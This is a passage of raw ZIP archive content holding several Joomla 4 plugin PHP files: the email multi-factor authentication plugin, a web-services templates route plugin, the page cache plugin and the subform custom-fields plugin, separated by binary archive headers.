$matches[1] * 1024; } } } return (float) $memoryLimit; } } PK ��\�o; �T �T Email.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Multifactorauth.email * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Multifactorauth\Email\Extension; use Exception; use Joomla\CMS\Encrypt\Totp; use Joomla\CMS\Event\MultiFactor\BeforeDisplayMethods; use Joomla\CMS\Event\MultiFactor\Captive; use Joomla\CMS\Event\MultiFactor\GetMethod; use Joomla\CMS\Event\MultiFactor\GetSetup; use Joomla\CMS\Event\MultiFactor\SaveSetup; use Joomla\CMS\Event\MultiFactor\Validate; use Joomla\CMS\Factory; use Joomla\CMS\Input\Input; use Joomla\CMS\Language\Text; use Joomla\CMS\Log\Log; use Joomla\CMS\Mail\Exception\MailDisabledException; use Joomla\CMS\Mail\MailTemplate; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Uri\Uri; use Joomla\CMS\User\User; use Joomla\CMS\User\UserFactoryAwareTrait; use Joomla\Component\Users\Administrator\DataShape\CaptiveRenderOptions; use Joomla\Component\Users\Administrator\DataShape\MethodDescriptor; use Joomla\Component\Users\Administrator\DataShape\SetupRenderOptions; use Joomla\Component\Users\Administrator\Helper\Mfa as MfaHelper; use Joomla\Component\Users\Administrator\Table\MfaTable; use Joomla\Event\SubscriberInterface; use PHPMailer\PHPMailer\Exception as phpMailerException; use RuntimeException; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomla! Multi-factor Authentication using a Validation Code sent by Email. * * Requires entering a 6-digit code sent to the user through email. These codes change automatically * on a frequency set in the plugin options (30 seconds to 5 minutes, default 2 minutes). * * @since 4.2.0 */ class Email extends CMSPlugin implements SubscriberInterface { use UserFactoryAwareTrait; /** * Generated OTP length. Constant: 6 numeric digits. * * @since 4.2.0 */ private const CODE_LENGTH = 6; /** * Length of the secret key used for generating the OTPs. Constant: 20 characters. * * @since 4.2.0 */ private const SECRET_KEY_LENGTH = 20; /** * Should I try to detect and register legacy event listeners, i.e. methods which accept unwrapped arguments? While * this maintains a great degree of backwards compatibility to Joomla! 3.x-style plugins it is much slower. You are * advised to implement your plugins using proper Listeners, methods accepting an AbstractEvent as their sole * parameter, for best performance. Also bear in mind that Joomla! 5.x onwards will only allow proper listeners, * removing support for legacy Listeners. * * @var boolean * @since 4.2.0 * * @deprecated 4.3 will be removed in 6.0 * Implement your plugin methods accepting an AbstractEvent object * Example: * onEventTriggerName(AbstractEvent $event) { * $context = $event->getArgument(...); * } */ protected $allowLegacyListeners = false; /** * Autoload this plugin's language files * * @var boolean * @since 4.2.0 */ protected $autoloadLanguage = true; /** * The MFA Method name handled by this plugin * * @var string * @since 4.2.0 */ private $mfaMethodName = 'email'; /** * Returns an array of events this subscriber will listen to. * * @return array * * @since 4.2.0 */ public static function getSubscribedEvents(): array { return [ 'onUserMultifactorGetMethod' => 'onUserMultifactorGetMethod', 'onUserMultifactorCaptive' => 'onUserMultifactorCaptive', 'onUserMultifactorGetSetup' => 'onUserMultifactorGetSetup', 'onUserMultifactorSaveSetup' => 'onUserMultifactorSaveSetup', 'onUserMultifactorValidate' => 'onUserMultifactorValidate', 'onUserMultifactorBeforeDisplayMethods' => 'onUserMultifactorBeforeDisplayMethods', ]; } /** * Gets the identity of this MFA Method * * @param GetMethod $event The event we are handling * * @return void * @since 4.2.0 */ public function onUserMultifactorGetMethod(GetMethod $event): void { $event->addResult( new MethodDescriptor( [ 'name' => $this->mfaMethodName, 'display' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_DISPLAYEDAS'), 'shortinfo' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_SHORTINFO'), 'image' => 'media/plg_multifactorauth_email/images/email.svg', ] ) ); } /** * Returns the information which allows Joomla to render the Captive MFA page. This is the page * which appears right after you log in and asks you to validate your login with MFA. * * @param Captive $event The event we are handling * * @return void * @since 4.2.0 */ public function onUserMultifactorCaptive(Captive $event): void { /** * @var MfaTable $record The record currently selected by the user. */ $record = $event['record']; // Make sure we are actually meant to handle this Method if ($record->method != $this->mfaMethodName) { return; } // Load the options from the record (if any) $options = $this->decodeRecordOptions($record); $key = $options['key'] ?? ''; // Send an email message with a new code and ask the user to enter it. $user = $this->getUserFactory()->loadUserById($record->user_id); try { $this->sendCode($key, $user); } catch (\Exception $e) { return; } $event->addResult( new CaptiveRenderOptions( [ // Custom HTML to display above the MFA form 'pre_message' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_PRE_MESSAGE'), // How to render the MFA code field. "input" (HTML input element) or "custom" (custom HTML) 'field_type' => 'input', // The type attribute for the HTML input box. Typically "text" or "password". Use any HTML5 input type. 'input_type' => 'text', // The attributes for the HTML input box. 'input_attributes' => [ 'pattern' => '[0-9]{6}', 'maxlength' => '6', 'inputmode' => 'numeric', 'required' => 'true', 'autocomplete' => 'one-time-code', 'aria-autocomplete' => 'none', ], // Placeholder text for the HTML input box. Leave empty if you don't need it. 'placeholder' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_SETUP_PLACEHOLDER'), // Label to show above the HTML input box. Leave empty if you don't need it. 'label' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_LABEL'), // Custom HTML. Only used when field_type = custom. 'html' => '', // Custom HTML to display below the MFA form 'post_message' => '', // Should I hide the default Submit button? 'hide_submit' => false, // Is this MFA method validating against all configured authenticators of the same type? 'allowEntryBatching' => false, ] ) ); } /** * Returns the information which allows Joomla to render the MFA setup page. This is the page * which allows the user to add or modify a MFA Method for their user account. If the record * does not correspond to your plugin return an empty array. * * @param GetSetup $event The event we are handling * * @return void * @throws \Exception * @since 4.2.0 */ public function onUserMultifactorGetSetup(GetSetup $event): void { /** @var MfaTable $record The record currently selected by the user. */ $record = $event['record']; // Make sure we are actually meant to handle this Method if ($record->method != $this->mfaMethodName) { return; } // Load the options from the record (if any) $options = $this->decodeRecordOptions($record); $key = $options['key'] ?? ''; $isKeyAlreadySetup = !empty($key); // If there's a key in the session use that instead. $session = $this->getApplication()->getSession(); $session->get('plg_multifactorauth_email.emailcode.key', $key); // Initialize objects $timeStep = min(max((int) $this->params->get('timestep', 120), 30), 900); $totp = new Totp($timeStep, self::CODE_LENGTH, self::SECRET_KEY_LENGTH); // If there's still no key in the options, generate one and save it in the session if (!$isKeyAlreadySetup) { $key = $totp->generateSecret(); $session->set('plg_multifactorauth_email.emailcode.key', $key); $session->set('plg_multifactorauth_email.emailcode.user_id', $record->user_id); $user = $this->getUserFactory()->loadUserById($record->user_id); $this->sendCode($key, $user); $event->addResult( new SetupRenderOptions( [ 'default_title' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_DISPLAYEDAS'), 'hidden_data' => [ 'key' => $key, ], 'field_type' => 'input', 'input_type' => 'text', 'input_attributes' => [ 'pattern' => '[0-9]{6}', 'maxlength' => '6', 'inputmode' => 'numeric', 'required' => 'true', 'autocomplete' => 'one-time-code', 'aria-autocomplete' => 'none', ], 'input_value' => '', 'placeholder' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_SETUP_PLACEHOLDER'), 'pre_message' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_PRE_MESSAGE'), 'label' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_LABEL'), ] ) ); } else { $event->addResult( new SetupRenderOptions( [ 'default_title' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_DISPLAYEDAS'), 'input_type' => 'hidden', 'html' => '', ] ) ); } } /** * Parse the input from the MFA setup page and return the configuration information to be saved to the database. If * the information is invalid throw a RuntimeException to signal the need to display the editor page again. The * message of the exception will be displayed to the user. If the record does not correspond to your plugin return * an empty array. * * @param SaveSetup $event The event we are handling * * @return void The configuration data to save to the database * @since 4.2.0 */ public function onUserMultifactorSaveSetup(SaveSetup $event): void { /** * @var MfaTable $record The record currently selected by the user. * @var Input $input The user input you are going to take into account. */ $record = $event['record']; $input = $event['input']; // Make sure we are actually meant to handle this Method if ($record->method != $this->mfaMethodName) { return; } // Load the options from the record (if any) $options = $this->decodeRecordOptions($record); $key = $options['key'] ?? ''; $isKeyAlreadySetup = !empty($key); $session = $this->getApplication()->getSession(); // If there is no key in the options fetch one from the session if (empty($key)) { $key = $session->get('plg_multifactorauth_email.emailcode.key', null); } // If there is still no key in the options throw an error if (empty($key)) { throw new \RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403); } /** * If the code is empty but the key already existed in $options someone is simply changing the title / default * Method status. We can allow this and stop checking anything else now. */ $code = $input->getCmd('code'); if (empty($code) && $isKeyAlreadySetup) { $event->addResult($options); return; } // In any other case validate the submitted code $timeStep = min(max((int) $this->params->get('timestep', 120), 30), 900); $totp = new Totp($timeStep, self::CODE_LENGTH, self::SECRET_KEY_LENGTH); $isValid = $totp->checkCode((string) $key, (string) $code); if (!$isValid) { throw new \RuntimeException(Text::_('PLG_MULTIFACTORAUTH_EMAIL_ERR_INVALID_CODE'), 500); } // The code is valid. Unset the key from the session. $session->set('plg_multifactorauth_email.emailcode.key', null); // Return the configuration to be serialized $event->addResult(['key' => $key]); } /** * Validates the Multi-factor Authentication code submitted by the user in the Multi-Factor * Authentication page. If the record does not correspond to your plugin return FALSE. * * @param Validate $event The event we are handling * * @return void * @since 4.2.0 */ public function onUserMultifactorValidate(Validate $event): void { /** * @var MfaTable $record The MFA Method's record you're validating against * @var User $user The user record * @var string|null $code The submitted code */ $record = $event['record']; $user = $event['user']; $code = $event['code']; // Make sure we are actually meant to handle this Method if ($record->method != $this->mfaMethodName) { $event->addResult(false); return; } // Double check the MFA Method is for the correct user if ($user->id != $record->user_id) { $event->addResult(false); return; } // Load the options from the record (if any) $options = $this->decodeRecordOptions($record); $key = $options['key'] ?? ''; // If there is no key in the options throw an error if (empty($key)) { $event->addResult(false); return; } // Check the MFA code for validity $timeStep = min(max((int) $this->params->get('timestep', 120), 30), 900); $totp = new Totp($timeStep, self::CODE_LENGTH, self::SECRET_KEY_LENGTH); $event->addResult($totp->checkCode($key, (string) $code)); } /** * Executes before showing the MFA Methods for the user. Used for the Force Enable feature. * * @param BeforeDisplayMethods $event The event we are handling * * @return void * @throws \Exception * @since 4.2.0 */ public function onUserMultifactorBeforeDisplayMethods(BeforeDisplayMethods $event): void { /** @var ?User $user */ $user = $event['user']; // Is the forced enable feature activated? if ($this->params->get('force_enable', 0) != 1) { return; } // Get MFA Methods for this user $userMfaRecords = MfaHelper::getUserMfaRecords($user->id); // If there are no Methods go back if (\count($userMfaRecords) < 1) { return; } // If the only Method is backup codes go back if (\count($userMfaRecords) == 1) { /** @var MfaTable $record */ $record = reset($userMfaRecords); if ($record->method == 'backupcodes') { return; } } // If I already have the email Method go back $emailRecords = array_filter( $userMfaRecords, function (MfaTable $record) { return $record->method == 'email'; } ); if (\count($emailRecords)) { return; } // Add the email Method try { /** @var MVCFactoryInterface $factory */ $factory = $this->getApplication()->bootComponent('com_users')->getMVCFactory(); /** @var MfaTable $record */ $record = $factory->createTable('Mfa', 'Administrator'); $record->reset(); $timeStep = min(max((int) $this->params->get('timestep', 120), 30), 900); $totp = new Totp($timeStep, self::CODE_LENGTH, self::SECRET_KEY_LENGTH); $record->save( [ 'method' => 'email', 'title' => Text::_('PLG_MULTIFACTORAUTH_EMAIL_LBL_DISPLAYEDAS'), 'options' => [ 'key' => ($totp)->generateSecret(), ], 'default' => 0, 'user_id' => $user->id, ] ); } catch (\Exception $event) { // Fail gracefully } } /** * Decodes the options from a record into an options object. * * @param MfaTable $record The record to decode * * @return array * @since 4.2.0 */ private function decodeRecordOptions(MfaTable $record): array { $options = [ 'key' => '', ]; if (!empty($record->options)) { $recordOptions = $record->options; $options = array_merge($options, $recordOptions); } return $options; } /** * Creates a new TOTP code based on secret key $key and sends it to the user via email. * * @param string $key The TOTP secret key * @param User|null $user The Joomla! user to use * * @return void * @throws \Exception * @since 4.2.0 */ private function sendCode(string $key, ?User $user = null) { static $alreadySent = false; // Make sure we have a user if (!is_object($user) || !($user instanceof User)) { $user = $this->getApplication()->getIdentity() ?: $this->getUserFactory()->loadUserById(0); } if ($alreadySent) { return; } $alreadySent = true; // Get the API objects $timeStep = min(max((int) $this->params->get('timestep', 120), 30), 900); $totp = new Totp($timeStep, self::CODE_LENGTH, self::SECRET_KEY_LENGTH); // Create the list of variable replacements $code = $totp->getCode($key); $replacements = [ 'code' => $code, 'sitename' => $this->getApplication()->get('sitename'), 'siteurl' => Uri::base(), 'username' => $user->username, 'email' => $user->email, 'fullname' => $user->name, ]; try { $jLanguage = $this->getApplication()->getLanguage(); $mailer = new MailTemplate('plg_multifactorauth_email.mail', $jLanguage->getTag()); $mailer->addRecipient($user->email, $user->name); $mailer->addTemplateData($replacements); $didSend = $mailer->send(); } catch (MailDisabledException | phpMailerException $exception) { try { Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror'); } catch (\RuntimeException $exception) { $this->getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning'); } } try { // The user somehow managed to not install the mail template. I'll send the email the traditional way. if (isset($didSend) && !$didSend) { $subject = Text::_('PLG_MULTIFACTORAUTH_EMAIL_EMAIL_SUBJECT'); $body = Text::_('PLG_MULTIFACTORAUTH_EMAIL_EMAIL_BODY'); foreach ($replacements as $key => $value) { $subject = str_replace('{' . strtoupper($key) . '}', $value, $subject); $body = str_replace('{' . strtoupper($key) . '}', $value, $body); } $mailer = Factory::getMailer(); $mailer->setSubject($subject); $mailer->setBody($body); $mailer->addRecipient($user->email, $user->name); $mailer->Send(); } } catch (MailDisabledException | phpMailerException $exception) { try { Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror'); } catch (\RuntimeException $exception) { $this->getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning'); } } } } PK z"�\P��T T Templates.phpnu �[��� <?php /** * @package Joomla.Templates * @subpackage Webservices.templates * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Templates\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_templates. * * @since 4.0.0 */ final class Templates extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_templates's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/templates/styles/site', 'styles', ['component' => 'com_templates', 'client_id' => 0] ); $router->createCRUDRoutes( 'v1/templates/styles/administrator', 'styles', ['component' => 'com_templates', 'client_id' => 1] ); } } PK �*�\�W��/ �/ Cache.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage System.cache * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\System\Cache\Extension; use Joomla\CMS\Cache\CacheController; use Joomla\CMS\Cache\CacheControllerFactoryInterface; use Joomla\CMS\Document\FactoryInterface as DocumentFactoryInterface; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Profiler\Profiler; use Joomla\CMS\Router\SiteRouter; use Joomla\CMS\Uri\Uri; use Joomla\Event\DispatcherInterface; use Joomla\Event\Event; use Joomla\Event\Priority; use Joomla\Event\SubscriberInterface; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomla! Page Cache Plugin. * * @since 1.5 */ final class Cache extends CMSPlugin implements SubscriberInterface { /** * Cache instance. * * @var CacheController * @since 1.5 */ private $cache; /** * The application's document factory interface * * @var DocumentFactoryInterface * @since 4.2.0 */ private $documentFactory; /** * Cache controller factory interface * * @var CacheControllerFactoryInterface * @since 4.2.0 */ private $cacheControllerFactory; /** * The application profiler, used when Debug Site is set to Yes in Global Configuration. * * @var Profiler|null * @since 4.2.0 */ private $profiler; /** * The frontend router, injected by the service provider. * * @var SiteRouter|null * @since 4.2.0 */ private $router; /** * Constructor * * @param DispatcherInterface $subject The object to observe * @param array $config An optional associative * array of configuration * settings. Recognized key * values include 'name', * 'group', 'params', * 'language' * (this list is not meant * to be comprehensive). * @param DocumentFactoryInterface $documentFactory The application's * document factory * @param CacheControllerFactoryInterface $cacheControllerFactory Cache controller factory * @param Profiler|null $profiler The application profiler * @param SiteRouter|null $router The frontend router * * @since 4.2.0 */ public function __construct( &$subject, $config, DocumentFactoryInterface $documentFactory, CacheControllerFactoryInterface $cacheControllerFactory, ?Profiler $profiler, ?SiteRouter $router ) { parent::__construct($subject, $config); $this->documentFactory = $documentFactory; $this->cacheControllerFactory = $cacheControllerFactory; $this->profiler = $profiler; $this->router = $router; } /** * Returns an array of CMS events this plugin will listen to and the respective handlers. * * @return array * * @since 4.2.0 */ public static function getSubscribedEvents(): array { /** * Note that onAfterRender and onAfterRespond must be the last handlers to run for this * plugin to operate as expected. These handlers put pages into cache. We must make sure * that a. the page SHOULD be cached and b. we are caching the complete page, as it's * output to the browser. */ return [ 'onAfterRoute' => 'onAfterRoute', 'onAfterRender' => ['onAfterRender', Priority::LOW], 'onAfterRespond' => ['onAfterRespond', Priority::LOW], ]; } /** * Returns a cached page if the current URL exists in the cache. * * @param Event $event The Joomla event being handled * * @return void * * @since 4.0.0 */ public function onAfterRoute(Event $event) { if (!$this->appStateSupportsCaching()) { return; } // If any `pagecache` plugins return false for onPageCacheSetCaching, do not use the cache. PluginHelper::importPlugin('pagecache'); $results = $this->getApplication()->triggerEvent('onPageCacheSetCaching'); $this->getCacheController()->setCaching(!in_array(false, $results, true)); $data = $this->getCacheController()->get($this->getCacheKey()); if ($data === false) { // No cached data. return; } // Set the page content from the cache and output it to the browser. $this->getApplication()->setBody($data); echo $this->getApplication()->toString((bool) $this->getApplication()->get('gzip')); // Mark afterCache in debug and run debug onAfterRespond events, e.g. show Joomla Debug Console if debug is active. if (JDEBUG) { // Create a document instance and load it into the application. $document = $this->documentFactory ->createDocument($this->getApplication()->getInput()->get('format', 'html')); $this->getApplication()->loadDocument($document); if ($this->profiler) { $this->profiler->mark('afterCache'); } $this->getApplication()->triggerEvent('onAfterRespond'); } // Closes the application. $this->getApplication()->close(); } /** * Does the current application state allow for caching? * * The following conditions must be met: * * This is the frontend application. This plugin does not apply to other applications. * * This is a GET request. This plugin does not apply to POST, PUT etc. * * There is no currently logged in user (pages might have user–specific content). * * The message queue is empty. * * The first two tests are cached to make early returns possible; these conditions cannot change * throughout the lifetime of the request. * * The other two tests MUST NOT be cached because auto–login plugins may fire anytime within * the application lifetime logging in a user and messages can be generated anytime within the * application's lifetime. * * @return boolean * @since 4.2.0 */ private function appStateSupportsCaching(): bool { static $isSite = null; static $isGET = null; if ($isSite === null) { $isSite = $this->getApplication()->isClient('site'); $isGET = $this->getApplication()->getInput()->getMethod() === 'GET'; } // Boolean short–circuit evaluation means this returns fast false when $isSite is false. return $isSite && $isGET && $this->getApplication()->getIdentity()->guest && empty($this->getApplication()->getMessageQueue()); } /** * Get the cache controller * * @return CacheController * @since 4.2.0 */ private function getCacheController(): CacheController { if (!empty($this->cache)) { return $this->cache; } // Set the cache options. $options = [ 'defaultgroup' => 'page', 'browsercache' => $this->params->get('browsercache', 0), 'caching' => false, ]; // Instantiate cache with previous options. $this->cache = $this->cacheControllerFactory->createCacheController('page', $options); return $this->cache; } /** * Get a cache key for the current page based on the url and possible other factors. * * @return string * * @since 3.7 */ private function getCacheKey(): string { static $key; if (!$key) { PluginHelper::importPlugin('pagecache'); $parts = $this->getApplication()->triggerEvent('onPageCacheGetKey'); $parts[] = Uri::getInstance()->toString(); $key = md5(serialize($parts)); } return $key; } /** * After Render Event. Check whether the current page is excluded from cache. * * @param Event $event The CMS event we are handling. * * @return void * * @since 3.9.12 */ public function onAfterRender(Event $event) { if (!$this->appStateSupportsCaching() || $this->getCacheController()->getCaching() === false) { return; } if ($this->isExcluded() === true) { $this->getCacheController()->setCaching(false); return; } // Disable compression before caching the page. $this->getApplication()->set('gzip', false); } /** * Check if the page is excluded from the cache or not. * * @return boolean True if the page is excluded else false * * @since 3.5 */ private function isExcluded(): bool { // Check if menu items have been excluded. $excludedMenuItems = $this->params->get('exclude_menu_items', []); if ($excludedMenuItems) { // Get the current menu item. $active = $this->getApplication()->getMenu()->getActive(); if ($active && $active->id && in_array((int) $active->id, (array) $excludedMenuItems)) { return true; } } // Check if regular expressions are being used. $exclusions = $this->params->get('exclude', ''); if ($exclusions) { // Convert the exclusions into a normalised array $exclusions = str_replace(["\r\n", "\r"], "\n", $exclusions); $exclusions = explode("\n", $exclusions); $exclusions = array_map('trim', $exclusions); $filterExpression = function ($x) { return $x !== ''; }; $exclusions = array_filter($exclusions, $filterExpression); // Gets the internal (non-SEF) and the external (possibly SEF) URIs. $internalUrl = '/index.php?' . Uri::getInstance()->buildQuery($this->router->getVars()); $externalUrl = Uri::getInstance()->toString(); // Loop through each pattern. if ($exclusions) { foreach ($exclusions as $exclusion) { // Test both external and internal URI if (preg_match('#' . $exclusion . '#i', $externalUrl . ' ' . $internalUrl, $match)) { return true; } } } } // If any pagecache plugins return true for onPageCacheIsExcluded, exclude. PluginHelper::importPlugin('pagecache'); $results = $this->getApplication()->triggerEvent('onPageCacheIsExcluded'); return in_array(true, $results, true); } /** * After Respond Event. Stores page in cache. * * @param Event $event The application event we are handling. * * @return void * * @since 1.5 */ public function onAfterRespond(Event $event) { if (!$this->appStateSupportsCaching() || $this->getCacheController()->getCaching() === false) { return; } // Saves current page in cache. $this->getCacheController()->store($this->getApplication()->getBody(), $this->getCacheKey()); } } PK +�\�^ �9 9 Subform.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Fields.subform * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Fields\Subform\Extension; use DOMDocument; use DOMElement; use DOMXPath; use Joomla\CMS\Form\Form; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; use Joomla\Component\Fields\Administrator\Plugin\FieldsPlugin; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Fields Subform Plugin * * @since 3.7.0 */ final class Subform extends FieldsPlugin { /** * Two-dimensional array to hold to do a fast in-memory caching of rendered * subfield values. * * @var array * * @since 4.0.0 */ protected $renderCache = []; /** * Array to do a fast in-memory caching of all custom field items. * * @var array * * @since 4.0.0 */ protected static $customFieldsCache = null; /** * Handles the onContentPrepareForm event. Adds form definitions to relevant forms. * * @param Form $form The form to manipulate * @param array|object $data The data of the form * * @return void * * @since 4.0.0 */ public function onContentPrepareForm(Form $form, $data) { // Get the path to our own form definition (basically ./params/subform.xml) $path = $this->getFormPath($form, $data); if ($path === null) { return; } // Ensure it is an object $formData = (object) $data; // Now load our own form definition into a DOMDocument, because we want to manipulate it $xml = new \DOMDocument(); $xml->load($path); // Prepare a DOMXPath object $xmlxpath = new \DOMXPath($xml); /** * Get all fields of type "subfields" in our own XML * * @var $valuefields \DOMNodeList */ $valuefields = $xmlxpath->evaluate('//field[@type="subfields"]'); // If we haven't found it, something is wrong if (!$valuefields || $valuefields->length != 1) { return; } // Now iterate over those fields and manipulate them, set its parameter `context` to our context foreach ($valuefields as $valuefield) { $valuefield->setAttribute('context', $formData->context); } // When this is not a new instance (editing an existing instance) if (isset($formData->id) && $formData->id > 0) { // Don't allow the 'repeat' attribute to be edited foreach ($xmlxpath->evaluate('//field[@name="repeat"]') as $field) { $field->setAttribute('readonly', '1'); } } // And now load our manipulated form definition into the JForm $form->load($xml->saveXML(), true, '/form/*'); } /** * Manipulates the $field->value before the field is being passed to * onCustomFieldsPrepareField. * * @param string $context The context * @param object $item The item * @param \stdClass $field The field * * @return void * * @since 4.0.0 */ public function onCustomFieldsBeforePrepareField($context, $item, $field) { if (!$this->isTypeSupported($field->type)) { return; } if (is_array($field->value)) { return; } $decoded_value = json_decode($field->value, true); if (!$decoded_value || !is_array($decoded_value)) { return; } $field->value = $decoded_value; } /** * Renders this fields value by rendering all sub fields and joining all those rendered sub fields together. * * @param string $context The context * @param object $item The item * @param \stdClass $field The field * * @return string * * @since 4.0.0 */ public function onCustomFieldsPrepareField($context, $item, $field) { // Check if the field should be processed by us if (!$this->isTypeSupported($field->type)) { return; } // If we don't have any subfields (or values for them), nothing to do. if (!is_array($field->value) || count($field->value) < 1) { return; } // Get the field params $field_params = $this->getParamsFromField($field); /** * Placeholder to hold all rows (if this field is repeatable). * Each array entry is another array representing a row, containing all of the sub fields that * are valid for this row and their raw and rendered values. */ $subform_rows = []; // Create an array with entries being subfields forms, and if not repeatable, containing only one element. $rows = $field->value; if ($field_params->get('repeat', '1') == '0') { $rows = [$field->value]; } // Iterate over each row of the data foreach ($rows as $row) { // Holds all sub fields of this row, incl. their raw and rendered value $row_subfields = []; // For each row, iterate over all the subfields foreach ($this->getSubfieldsFromField($field) as $subfield) { // Fill value (and rawvalue) if we have data for this subfield in the current row, otherwise set them to empty $subfield->rawvalue = $subfield->value = $row[$subfield->name] ?? ''; // Do we want to render the value of this field, and is the value non-empty? if ($subfield->value !== '' && $subfield->render_values == '1') { /** * Construct the cache-key for our renderCache. It is important that the cache key * is as unique as possible to avoid false duplicates (e.g. type and rawvalue is not * enough for the cache key, because type 'list' and value '1' can have different * rendered values, depending on the list items), but it also must be as general as possible * to not cause too many unneeded rendering processes (e.g. the type 'text' will always be * rendered the same when it has the same rawvalue). */ $renderCache_key = serialize( [ $subfield->type, $subfield->id, $subfield->rawvalue, ] ); // Let's see if we have a fast in-memory result for this if (isset($this->renderCache[$renderCache_key])) { $subfield->value = $this->renderCache[$renderCache_key]; } else { // Render this virtual subfield $subfield->value = $this->getApplication()->triggerEvent( 'onCustomFieldsPrepareField', [$context, $item, $subfield] ); $this->renderCache[$renderCache_key] = $subfield->value; } } // Flatten the value if it is an array (list, checkboxes, etc.) [independent of render_values] if (is_array($subfield->value)) { $subfield->value = implode(' ', $subfield->value); } // Store the subfield (incl. its raw and rendered value) into this rows sub fields $row_subfields[$subfield->fieldname] = $subfield; } // Store all the sub fields of this row $subform_rows[] = $row_subfields; } // Store all the rows and their corresponding sub fields in $field->subform_rows $field->subform_rows = $subform_rows; // Call our parent to combine all those together for the final $field->value return parent::onCustomFieldsPrepareField($context, $item, $field); } /** * Returns a DOMElement which is the child of $parent and represents * the form XML definition for this field. * * @param \stdClass $field The field * @param \DOMElement $parent The original parent element * @param Form $form The form * * @return \DOMElement * * @since 4.0.0 */ public function onCustomFieldsPrepareDom($field, \DOMElement $parent, Form $form) { // Call the onCustomFieldsPrepareDom method on FieldsPlugin $parent_field = parent::onCustomFieldsPrepareDom($field, $parent, $form); if (!$parent_field) { return $parent_field; } // Override the fieldname attribute of the subform - this is being used to index the rows $parent_field->setAttribute('fieldname', 'row'); // If the user configured this subform instance as required if ($field->required) { // Then we need to have at least one row $parent_field->setAttribute('min', '1'); } // Get the configured parameters for this field $field_params = $this->getParamsFromField($field); // If this fields should be repeatable, set some attributes on the subform element if ($field_params->get('repeat', '1') == '1') { $parent_field->setAttribute('multiple', 'true'); $parent_field->setAttribute('layout', 'joomla.form.field.subform.repeatable-table'); } // Create a child 'form' DOMElement under the field[type=subform] element. $parent_fieldset = $parent_field->appendChild(new \DOMElement('form')); $parent_fieldset->setAttribute('hidden', 'true'); $parent_fieldset->setAttribute('name', ($field->name . '_modal')); if ($field_params->get('max_rows')) { $parent_field->setAttribute('max', $field_params->get('max_rows')); } // If this field should be repeatable, set some attributes on the modal if ($field_params->get('repeat', '1') == '1') { $parent_fieldset->setAttribute('repeat', 'true'); } // Get the configured sub fields for this field $subfields = $this->getSubfieldsFromField($field); // If we have 5 or more of them, use the `repeatable` layout instead of the `repeatable-table` if (count($subfields) >= 5) { $parent_field->setAttribute('layout', 'joomla.form.field.subform.repeatable'); } // Iterate over the sub fields to call prepareDom on each of those sub-fields foreach ($subfields as $subfield) { // Let the relevant plugins do their work and insert the correct // DOMElement's into our $parent_fieldset. $this->getApplication()->triggerEvent( 'onCustomFieldsPrepareDom', [$subfield, $parent_fieldset, $form] ); } // If the edit layout is set we override any automation $editLayout = $field->params->get('form_layout'); if ($editLayout) { $parent_field->setAttribute('layout', $editLayout); } return $parent_field; } /** * Returns an array of all options configured for this field. * * @param \stdClass $field The field * * @return \stdClass[] * * @since 4.0.0 */ protected function getOptionsFromField(\stdClass $field) { $result = []; // Fetch the options from the plugin $params = $this->getParamsFromField($field); foreach ($params->get('options', []) as $option) { $result[] = (object) $option; } return $result; } /** * Returns the configured params for a given field. * * @param \stdClass $field The field * * @return \Joomla\Registry\Registry * * @since 4.0.0 */ protected function getParamsFromField(\stdClass $field) { $params = (clone $this->params); if (isset($field->fieldparams) && is_object($field->fieldparams)) { $params->merge($field->fieldparams); } return $params; } /** * Returns an array of all subfields for a given field. This will always return a bare clone * of a sub field, so manipulating it is safe. * * @param \stdClass $field The field * * @return \stdClass[] * * @since 4.0.0 */ protected function getSubfieldsFromField(\stdClass $field) { if (static::$customFieldsCache === null) { // Prepare our cache static::$customFieldsCache = []; // Get all custom field instances $customFields = FieldsHelper::getFields('', null, false, null, true); foreach ($customFields as $customField) { // Store each custom field instance in 